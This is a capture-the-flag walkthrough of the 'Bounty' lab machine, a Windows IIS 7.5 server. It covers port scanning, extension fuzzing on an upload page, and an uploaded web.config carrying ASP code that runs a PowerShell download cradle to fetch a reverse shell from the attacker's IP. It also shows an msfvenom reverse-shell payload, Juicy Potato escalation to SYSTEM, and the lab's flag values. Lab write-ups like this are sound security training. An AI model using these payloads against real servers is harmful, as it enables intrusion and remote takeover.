Scanning#

Rustscan#

1
rustscan -a 10.10.10.93 -r 1-1000 -b 100

Pasted image 20250518141803.png

Nmap#

1
nmap -sC -sV -T5 -oA nmap/initials 10.10.10.93

1
# Nmap 7.94SVN scan initiated Sun May 18 14:03:44 2025 as: nmap -sC -sV -T5 -oA nmap/initials 10.10.10.93
2
Nmap scan report for 10.10.10.93
3
Host is up (0.21s latency).
4
Not shown: 999 filtered tcp ports (no-response)
5
PORT   STATE SERVICE VERSION
6
80/tcp open  http    Microsoft IIS httpd 7.5
7
|_http-title: Bounty
8
| http-methods:
9
|_  Potentially risky methods: TRACE
10
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
11

12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
13
# Nmap done at Sun May 18 14:09:00 2025 -- 1 IP address (1 host up) scanned in 316.39 seconds

Only port 80 is open with an IIS server.
The IIS Server version (7.5) is very old, suggesting potential exploits might exist.
The machine is likely running Windows based on the service information.

Pasted image 20250518150637.png

Enumeration#

I performed directory discovery using ffuf and found a directory called uploadedfiles but encountered a 403 Access Denied error. This prompted me to search for bypass techniques.

1
ffuf -u http://10.10.10.93/FUZZ -w /usr/share/wordlists/dirb/common.txt -t 150

Pasted image 20250518151418.png

I discovered that there’s an exploit for older versions of IIS that might help bypass access restrictions.

Pasted image 20250518151707.png

Reference: https://www.exploit-db.com/exploits/19033

Pasted image 20250518151743.png

Pasted image 20250518151928.png

1
Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass
2

3
Affected Software:
4
Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0
5
installed (.NET Framework 2.0 is unaffected, other .NET frameworks
6
have not been tested)
7
(tested on Windows 7)
8

9
Details:
10
By appending ":$i30:$INDEX_ALLOCATION" to the directory serving the
11
classic ASP file access restrictions can be successfully bypassed.
12

13
Take this Example:
14
1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files)
15
2.) There is a password protected directory configured that has
16
administrative asp scripts inside
17
3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION
18
appended to the directory name
19
4.) IIS/7.5 gracefully executes the ASP script without asking for
20
proper credentials

According to the exploit documentation, I needed to append :$i30:$INDEX_ALLOCATION to the URL, like this:

1
http://10.10.10.93/uploadedfiles:$i30:$INDEX_ALLOCATION

I tried to exploit this, but it failed because the prerequisite “password protected directory with administrative asp scripts” wasn’t present in our target.
After attempting several other exploits without success, I checked for HTTP version vulnerabilities like MS15-034 (CVE-2015-1635).

1
python CVE-2015-1635-POC.py -t 10.10.10.93

Pasted image 20250518154217.png

Surprise! This whole path turned out to be a rabbit hole! 🐰
I had been following a writeup that went down this same unfruitful path, and I confidently followed along. 😗
My Reaction is Like,

The actual vulnerability was much simpler - there’s an ASPX page called transfer.aspx that allows file uploads.
Unfortunately, my directory discovery tools missed this file despite trying different wordlists and techniques. 😒

Pasted image 20250518155952.png

Solution Explanation#

After watching the legendary ippsec’s video on this box (https://www.youtube.com/watch?v=7ur4om1K98Y), I tried running gobuster with a different wordlist:
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
This time, I successfully found transfer.aspx.
When I tried to upload a text file, it returned “invalid file”:

Pasted image 20250518165401.png

This meant I needed to discover which file extensions were permitted. While Burp Suite’s Intruder could be used, it would be painfully slow for this task, so I opted for ffuf instead.
The command for extension bruteforcing:

1
ffuf -request fuzz.req -w /mnt/hgfs/SecLists-master/Discovery/Web-Content/raft-small-extensions.txt -request-proto http

Here’s the request file used (fuzz.req):

1
POST /transfer.aspx HTTP/1.1
2
Host: 10.10.10.93
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5
Accept-Language: en-US,en;q=0.5
6
Accept-Encoding: gzip, deflate, br
7
Content-Type: multipart/form-data; boundary=---------------------------422437140139749595703497098572
8
Content-Length: 773
9
Origin: http://10.10.10.93
10
Connection: keep-alive
11
Referer: http://10.10.10.93/transfer.aspx
12
Upgrade-Insecure-Requests: 1
13

14
-----------------------------422437140139749595703497098572
15
Content-Disposition: form-data; name="__VIEWSTATE"
16

17
/wEPDwUKMTI3ODM5MzQ0Mg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkXqaYmgX5i81h7QT7amTjI+lGMRI=
18
-----------------------------422437140139749595703497098572
19
Content-Disposition: form-data; name="__EVENTVALIDATION"
20

21
/wEWAgLNoKyFBwLt3oXMAxGQeqvPUDSNlGq1wHsrnYpxYT5S
22
-----------------------------422437140139749595703497098572
23
Content-Disposition: form-data; name="FileUpload1"; filename="targetsFUZZ"
24
Content-Type: text/plain
25

26
192.168.65.134
27
192.168.65.135
28

29
-----------------------------422437140139749595703497098572
30
Content-Disposition: form-data; name="btnUpload"
31

32
Upload
33
-----------------------------422437140139749595703497098572--

By analyzing the response sizes, I was able to filter out these three interesting file extensions:

Pasted image 20250518171122.png

1
.config <== (Most promising)
2
.jpeg
3
.doc

Success! The file with .config extension was uploaded:

Pasted image 20250518171531.png

Exploitation#

For this exploitation technique, I first tested with a simple ICMP callback using ping to verify command execution.
Here’s the malicious web.config file:

1
<?xml version="1.0" encoding="UTF-8"?>
2
<configuration>
3
   <system.webServer>
4
      <handlers accessPolicy="Read, Script, Write">
5
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
6
      </handlers>
7
      <security>
8
         <requestFiltering>
9
            <fileExtensions>
10
               <remove fileExtension=".config" />
11
            </fileExtensions>
12
            <hiddenSegments>
13
               <remove segment="web.config" />
14
            </hiddenSegments>
15
         </requestFiltering>
16
      </security>
17
   </system.webServer>
18
</configuration>
19
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
20
<%
21
Set rs = CreateObject("WScript.Shell")
22
Set cmd = rs.Exec("cmd /c ping 10.10.16.10")
23
o = cmd.StdOut.ReadAll()
24
Response.Write(o)
25
%>
26
-->

How this works:
- The config file reconfigures the IIS server to process .config files using ASP
- The ASP code embedded in HTML comments executes system commands
- The server processes this file and runs our commands with the server’s privileges

Pasted image 20250518174605.png Pasted image 20250518174553.png Pasted image 20250518174619.png

For a proper reverse shell, I used Nishang’s Invoke-PowerShellTcp.ps1 with an added command at the end:

1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.10 -Port 1337

Modified web.config to download and execute the PowerShell script:

1
<?xml version="1.0" encoding="UTF-8"?>
2
<configuration>
3
   <system.webServer>
4
      <handlers accessPolicy="Read, Script, Write">
5
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
6
      </handlers>
7
      <security>
8
         <requestFiltering>
9
            <fileExtensions>
10
               <remove fileExtension=".config" />
11
            </fileExtensions>
12
            <hiddenSegments>
13
               <remove segment="web.config" />
14
            </hiddenSegments>
15
         </requestFiltering>
16
      </security>
17
   </system.webServer>
18
</configuration>
19
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
20
<%
21
Set rs = CreateObject("WScript.Shell")
22
Set cmd = rs.Exec("cmd /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.16.10/Invoke-PowerShellTcp.ps1')")
23
o = cmd.StdOut.ReadAll()
24
Response.Write(o)
25
%>
26
-->

After uploading the file and accessing it, I successfully received a shell connection!

Pasted image 20250519173807.png Pasted image 20250519173743.png

Pasted image 20250519174001.png

User Flag:

1
67eea4d3b99884133851d163f65ea35b

Post Exploitation#

After checking permissions with whoami /priv, I discovered that SeImpersonatePrivilege was enabled. This is perfect for using the Juicy Potato privilege escalation technique.

Pasted image 20250519212835.png

What is SeImpersonatePrivilege?#

SeImpersonatePrivilege allows a process to impersonate the security context of another user.
It’s normally used by services to impersonate clients (e.g., when a web server impersonates a logged-in user).
If you can coerce a privileged token (e.g., SYSTEM) to authenticate to your service and you can impersonate it, you can escalate to SYSTEM privileges.
This privilege is a common path to privilege escalation on Windows servers.

Gaining SYSTEM Shell with Juicy Potato#

First, I uploaded the Juicy Potato executable as jp.exe:

Pasted image 20250519213514.png

Next, I generated a reverse shell payload using msfvenom:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=1337 -f exe -o reverse.exe

Then uploaded this reverse shell executable:

Pasted image 20250519213413.png

Finally, I executed Juicy Potato with the following command to trigger my reverse shell as NT AUTHORITY\SYSTEM:

1
jp.exe -l 1337 -t * -p reverse.exe

How Juicy Potato works:
- It abuses the SeImpersonatePrivilege to create a COM server and forces Windows to authenticate to it
- It then captures and impersonates that high-privilege token
- Finally, it launches our payload with those elevated privileges

Pasted image 20250519213829.png

Success! I obtained the root flag:

Pasted image 20250519213946.png

1
a548f17dc9a5f08ddf23aed3c152d834